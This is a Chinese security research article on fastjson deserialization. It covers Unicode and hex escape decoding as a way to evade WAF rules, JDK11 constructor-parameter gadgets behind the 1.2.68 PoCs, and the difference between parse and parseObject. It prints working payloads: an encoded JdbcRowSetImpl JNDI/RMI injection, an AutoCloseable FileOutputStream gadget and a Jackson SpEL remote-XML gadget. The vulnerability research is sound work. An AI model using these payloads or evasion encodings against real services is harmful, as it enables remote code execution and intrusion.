fastjson在一些特殊场景下的漏洞挖掘与利用

阅读量    145910 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

引言

fastjson作为github上star已经超过2w的开源项目,在各个企业内部都有着广泛的使用,所以这个项目也一直以来是黑客们漏洞挖掘的重要目标,而自68版本以来关于fastjson相关漏洞的文章已经逐渐稀少了起来,一部分原因在于对于autotype的绕过变得越来越艰难,一部分原因在于现有WAF也都开始对fastjson漏洞有了较强的规则检测。然而当fastjson出于较低版本或者jdk>=11的情况下,还是有一定的方法可以尝试WAF的绕过以及新的gadgets的挖掘,文章主要针对fastjson的一些特性进行分析,为在这些特殊场景下的漏洞利用和挖掘提供一个思路。

 

隐藏的编码套路

首先去看一个比较重要的函数,JSONLexerBase.scanSymbol,这个函数是fastjson用来处理json字符串的函数,这里只截取关键部分代码,

if(chLocal=='\\'){
        if(!hasSpecial){
        hasSpecial=true;
        if(this.sp>=this.sbuf.length){
        int newCapcity=this.sbuf.length*2;
        if(this.sp>newCapcity){
        newCapcity=this.sp;
        }

        char[]newsbuf=new char[newCapcity];
        System.arraycopy(this.sbuf,0,newsbuf,0,this.sbuf.length);
        this.sbuf=newsbuf;
        }

        this.arrayCopy(this.np+1,this.sbuf,0,this.sp);
        }

        chLocal=this.next();
        switch(chLocal){
        case'"':
        hash=31*hash+34;
        this.putChar('"');
        break;
        case'#':
        case'$':
        case'%':
        case'&':
        case'(':
        case')':
        case'*':
        case'+':
        case',':
        case'-':
        case'.':
        case'8':
        case'9':
        case':':
        case';':
        case'<':
        case'=':
        case'>':
        case'?':
        case'@':
        case'A':
        case'B':
        case'C':
        case'D':
        case'E':
        case'G':
        case'H':
        case'I':
        case'J':
        case'K':
        case'L':
        case'M':
        case'N':
        case'O':
        case'P':
        case'Q':
        case'R':
        case'S':
        case'T':
        case'U':
        case'V':
        case'W':
        case'X':
        case'Y':
        case'Z':
        case'[':
        case']':
        case'^':
        case'_':
        case'`':
        case'a':
        case'c':
        case'd':
        case'e':
        case'g':
        case'h':
        case'i':
        case'j':
        case'k':
        case'l':
        case'm':
        case'o':
        case'p':
        case'q':
        case's':
        case'w':
default:
        this.ch=chLocal;
        throw new JSONException("unclosed.str.lit");
        case'\'':
        hash=31*hash+39;
        this.putChar('\'');
        break;
        case'/':
        hash=31*hash+47;
        this.putChar('/');
        break;
        case'0':
        hash=31*hash+chLocal;
        this.putChar('\u0000');
        break;
        case'1':
        hash=31*hash+chLocal;
        this.putChar('\u0001');
        break;
        case'2':
        hash=31*hash+chLocal;
        this.putChar('\u0002');
        break;
        case'3':
        hash=31*hash+chLocal;
        this.putChar('\u0003');
        break;
        case'4':
        hash=31*hash+chLocal;
        this.putChar('\u0004');
        break;
        case'5':
        hash=31*hash+chLocal;
        this.putChar('\u0005');
        break;
        case'6':
        hash=31*hash+chLocal;
        this.putChar('\u0006');
        break;
        case'7':
        hash=31*hash+chLocal;
        this.putChar('\u0007');
        break;
        case'F':
        case'f':
        hash=31*hash+12;
        this.putChar('\f');
        break;
        case'\\':
        hash=31*hash+92;
        this.putChar('\\');
        break;
        case'b':
        hash=31*hash+8;
        this.putChar('\b');
        break;
        case'n':
        hash=31*hash+10;
        this.putChar('\n');
        break;
        case'r':
        hash=31*hash+13;
        this.putChar('\r');
        break;
        case't':
        hash=31*hash+9;
        this.putChar('\t');
        break;
        case'u':
        char c1=this.next();
        char c2=this.next();
        char c3=this.next();
        char c4=this.next();
        int val=Integer.parseInt(new String(new char[]{c1,c2,c3,c4}),16);
        hash=31*hash+val;
        this.putChar((char)val);
        break;
        case'v':
        hash=31*hash+11;
        this.putChar('\u000b');
        break;
        case'x':
        char x1=this.ch=this.next();
        char x2=this.ch=this.next();
        int x_val=digits[x1]*16+digits[x2];
        char x_char=(char)x_val;
        hash=31*hash+x_char;
        this.putChar(x_char);
        }
}

在fastjson在进行json字符的处理时,如果扫描到 ‘/‘ (代码里是//是因为java自身的特殊字符编码),fastjson会认为字符经过了编码,所以会进行解码操作。在代码的case when场景中,绝大多数场景都是形如\f、\n这一类特殊字符,fastjson自然也就做的处理也很简单,这里重点看两个case,

也就是说当输入的字符是形如 \u 或者 \x 的情况下fastjson是会对其进行解码操作的(即fastjson支持字符串的Unicode编码和十六进制编码)。

ok,在获取了这个信息后,就用老版本的poc去尝试一下,

这里选取最初代版本的poc,测试一下,

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

这里做一个多重编码,

{"\u0040\u0074\u0079\u0070\u0065":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"rmi://localhost:1099/Exploit","\x61\x75\x74\x6f\x43\x6f\x6d\x6d\x69\x74":true}

经过测试是可以成功达到poc的效果的,当然这个编码只能达到绕过部分waf和web黑名单的效果,因为编码是发生在反序列化之前的,所以无法绕过fastjson自身的autotype以及黑白名单。

 

何为默认构造函数

从我这边最初对于fastjson的序列化进行了解的时候,产生过一个认知,fastjson在进行反序列化的时候,首先会去调用无参构造函数进行实例化,之后再调用对应的setter与getter,因此下定了一个判断,反序列化的关键payload是要去各个class的setter和getter里面去找的,毕竟无参构造函数无法传参,利用基本就是不可行的。

这一点也是fastjson和jackson一个很大的区别,jackson可以通过如下写法将str传给反序列化类的构造函数,

["org.springframework.context.support.FileSystemXmlApplicationContext", "http://127.0.0.1/spel.xml"]

直到fastjson68版本漏洞爆出后,我看到了很多很有意思的poc,这些poc也实现了传参给反序列化类的构造函数,于是我这边也构造了68版本的poc,去尝试一下其中的可行性,

public class Poc68 {
    public static void main(String[] args){
        String str2 = "{\n" +
                "    \"@type\":\"java.lang.AutoCloseable\",\n" +
                "    \"@type\": \"java.io.FileOutputStream\",\n" +
                "    \"file\": \"/tmp/test\",\n" +
                "    \"append\": false\n" +
                "}";

        JSON.parseObject(str2);
    }
}

结果就出现了以下报错,

在不断的尝试下,终于发现这些poc都有一个要求,jdk11及以上,测试code如下,感兴趣的可以打个断点跟一下,可以看到name和age的值是成功传入了构造函数的。但是还有个很重要的限制,Person类自身不能拥有无参构造函数,否则依旧会只调用无参构造函数。

package com.glassy;

import com.alibaba.fastjson.JSON;

public class Person implements AutoCloseable{
    private String name;
    private int age;

    // public Person() {
    // }

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public void close() throws Exception {

    }

    public static void main(String[] args){
        String json = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.glassy.Person\",\"name\":\"glassy\",\"age\":13}";
        JSON.parseObject(json);
    }

}

导致poc只能在jdk11利用成功的根本原因在于下面这行代码,

String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor);

fastjson会使用ASM框架去读取给定类的字节码,并从中获取各个参数名,从而去确认怎样调用有参构造函数,然而当jdk版本低于11的时候却无法读取到对应信息。由于字节码操作本身是很受jdk版本影响的(写过rasp的同学应该深有感触),所以这里笔者也只能去斗胆猜测可能是jdk版本的兼容性做的不好,有兴趣的朋友们也可以深入分析一下。

 

parse与parseObject

fastjson在反序列化的时候提供了两个用于parse jsonStr的函数,这两个函数对于poc却有着截然不同的要求,我们先去看一下两个函数在功能上有什么区别。

JSON.parseObject(json); //实例化json字符串为JSONObject
JSON.parse(json); //实例化json字符串为Object

看上去似乎区别不大,但实际上JSON.parse只会循环调用指定字段的set方法,而JSON.parseObject()是会去循环调用指定字段的set方法和get方法,而之所以多出了一步,就是为了通过getter取出字段值去给JSONObject赋值。因此,取决于反序列化的函数不同,poc的可用性也会产生差别。

 

总结

以上是对于fastjson一些比较不为人注意的特性的分享与分析,虽然都是一些很小的细节,但是却会对poc的构造、挖掘造成不小的影响,尾部再对这些特性做一下总结。

  1. fastjson支持unicode编码与十六进制编码,在fastjson版本较低的时候绕黑名单有一定的帮助。
  2. fastjson在jdk11是可以构造出调用有参构造函数的poc的,前提是这个class本身没有无参构造函数。
  3. fastjson的parse函数和parseObject对于实力化类的触发场景是不一样的。
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多